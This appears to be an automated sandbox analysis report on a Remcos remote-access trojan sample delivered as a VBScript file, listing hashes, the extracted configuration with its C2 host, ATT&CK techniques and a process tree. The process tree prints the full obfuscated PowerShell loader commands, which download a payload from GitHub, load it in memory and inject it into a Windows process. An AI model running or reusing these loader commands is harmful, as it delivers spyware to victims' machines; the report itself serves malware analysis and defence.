remcos | c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793

General

Target

asegura.vbs
Size

483KB
MD5

f263136dd6f26628d6e5fbc4f52f1c0a
SHA1

294f56a012b9a3567ffd4b49a348a68cc64c73f8
SHA256

c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793
SHA512

3b728b0b0014125f23b8dfb5a7c06a6293a301971b127474bfbd59a96b4528123e0081cd90989e41bd5e5be8b04f4cf465a385fe637b4f0368344206d5c1aca5
SSDEEP

12288:RGMsp3SuzEPHa8ZVVCRl0pzCwxn9Ki+GtW2r7aPZy6PLAAIbgTNixeQJbkLFjOnd:RGNQ7H+xC99

Score

10^/10

remcos inry discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

INRY

C2

025sep.duckdns.org:3000

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Q0TS8L
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4816	powershell.exe
15	4816	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4444	powershell.exe
4816	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4816 set thread context of 232	4816	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4444	powershell.exe
4444	powershell.exe
4816	powershell.exe
4816	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	4816	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
232	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 4444	4420	WScript.exe	82
PID 4420 wrote to memory of 4444	4420	WScript.exe	82
PID 4444 wrote to memory of 4816	4444	powershell.exe	84
PID 4444 wrote to memory of 4816	4444	powershell.exe	84
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85
PID 4816 wrote to memory of 232	4816	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegura.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFyaWFiTGUgJypNRFIqJykubkFtRVszLDExLDJdLUpvSU4nJykoICgoJ3swfXUnKydybCA9IHsnKycxJysnfWh0dHBzOicrJy8vcmF3LmdpdGh1YicrJ3VzZXInKydjbycrJ250ZW50LmMnKydvbS8nKydOb0RldGVjdE9uL05vRCcrJ2V0JysnZWN0JysnT24vcmUnKydmcycrJy8nKydoJysnZWFkJysncy9tYScrJ2luL0RldGFoJysnTicrJ290aC0nKydWLicrJ3QnKyd4dCcrJ3sxfTsnKycgezB9YmFzZTY0Q29udGVudCcrJyAnKyc9IChOZXctT2JqZWMnKyd0JysnIFN5Jysnc3QnKydlbS5OJysnZXQuVycrJ2ViQ2wnKydpJysnZW4nKyd0JysnKScrJy5EJysnb3duJysnbG8nKydhJysnZFMnKyd0cmluZycrJygnKyd7MH11cmwpOyB7MH1iaW5hcnlDJysnb250ZScrJ250ICcrJz0gW1MnKyd5cycrJ3QnKydlbScrJy5DbycrJ252ZXJ0XTo6RnJvbScrJ0JhJysncycrJ2U2JysnNCcrJ1N0cicrJ2luZyh7JysnMH1iJysnYXNlJysnNjQnKydDb24nKyd0ZW50KTsgJysneycrJzB9YXMnKydzZScrJ21ibCcrJ3kgPScrJyAnKydbUicrJ2UnKydmJysnbCcrJ2VjdGlvJysnbicrJy4nKydBc3NlbWJseScrJ106OicrJ0xvYScrJ2QoJysneycrJzB9YicrJ2luYScrJ3InKyd5QycrJ29udGUnKydudCk7JysnICcrJ1snKydkbmxpYi5JTycrJy5Ib21lJysnXScrJzo6VkEnKydJJysnKCcrJ3syfTAnKycvOVpsbScrJzIvZC8nKydlZScrJy5ldHMnKydhcCcrJy8vOnNwdHRoeycrJzJ9LCB7Mn1kZXMnKydhdGknKyd2JysnYWRvezJ9LCB7MicrJ31kZScrJ3MnKydhdCcrJ2l2YWQnKydveycrJzJ9LCcrJyAnKyd7JysnMicrJ31kZXNhdGknKyd2JysnYScrJ2QnKydvezJ9LCAnKyd7MicrJ31BZGRJJysnblByJysnb2MnKydlc3MzMicrJ3syJysnfSwgezJ9ezJ9LHsyfXsyJysnfSknKS1mIFtjaGFyXTM2LFtjaGFyXTM5LFtjaGFyXTM0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vAriabLe '*MDR*').nAmE[3,11,2]-JoIN'')( (('{0}u'+'rl = {'+'1'+'}https:'+'//raw.github'+'user'+'co'+'ntent.c'+'om/'+'NoDetectOn/NoD'+'et'+'ect'+'On/re'+'fs'+'/'+'h'+'ead'+'s/ma'+'in/Detah'+'N'+'oth-'+'V.'+'t'+'xt'+'{1};'+' {0}base64Content'+' '+'= (New-Objec'+'t'+' Sy'+'st'+'em.N'+'et.W'+'ebCl'+'i'+'en'+'t'+')'+'.D'+'own'+'lo'+'a'+'dS'+'tring'+'('+'{0}url); {0}binaryC'+'onte'+'nt '+'= [S'+'ys'+'t'+'em'+'.Co'+'nvert]::From'+'Ba'+'s'+'e6'+'4'+'Str'+'ing({'+'0}b'+'ase'+'64'+'Con'+'tent); '+'{'+'0}as'+'se'+'mbl'+'y ='+' '+'[R'+'e'+'f'+'l'+'ectio'+'n'+'.'+'Assembly'+']::'+'Loa'+'d('+'{'+'0}b'+'ina'+'r'+'yC'+'onte'+'nt);'+' '+'['+'dnlib.IO'+'.Home'+']'+'::VA'+'I'+'('+'{2}0'+'/9Zlm'+'2/d/'+'ee'+'.ets'+'ap'+'//:sptth{'+'2}, {2}des'+'ati'+'v'+'ado{2}, {2'+'}de'+'s'+'at'+'ivad'+'o{'+'2},'+' '+'{'+'2'+'}desati'+'v'+'a'+'d'+'o{2}, '+'{2'+'}AddI'+'nPr'+'oc'+'ess32'+'{2'+'}, {2}{2},{2}{2'+'})')-f [char]36,[char]39,[char]34) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
498a55005ff2ac35c9006997a58a0c12

SHA1
5846022a1c9c17caaefc38279a44006e4b2618d6

SHA256
2c921a9e09f5ddfacfd83bb57ca1879f3fc8d8bc6b64b1106fe8e92fcad7af74

SHA512
61a1f01e0279a7a36a04fa5cceaee1ce977ed197675956afd2175ae51afc12b9422b7d7eeba1ccc159762d04b20f5cd2b2721f654997edbde126fd978cd68897

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdgplmd5.g5u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/232-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-30-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/232-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-0-0x00007FFA7FD33000-0x00007FFA7FD35000-memory.dmp

Filesize
8KB

Download
memory/4444-1-0x000001842D400000-0x000001842D422000-memory.dmp

Filesize
136KB

Download
memory/4444-34-0x00007FFA7FD30000-0x00007FFA807F1000-memory.dmp

Filesize
10.8MB

Download
memory/4444-11-0x00007FFA7FD30000-0x00007FFA807F1000-memory.dmp

Filesize
10.8MB

Download
memory/4444-12-0x00007FFA7FD30000-0x00007FFA807F1000-memory.dmp

Filesize
10.8MB

Download
memory/4816-22-0x0000023B64F80000-0x0000023B651A0000-memory.dmp

Filesize
2.1MB

Download

Analysis

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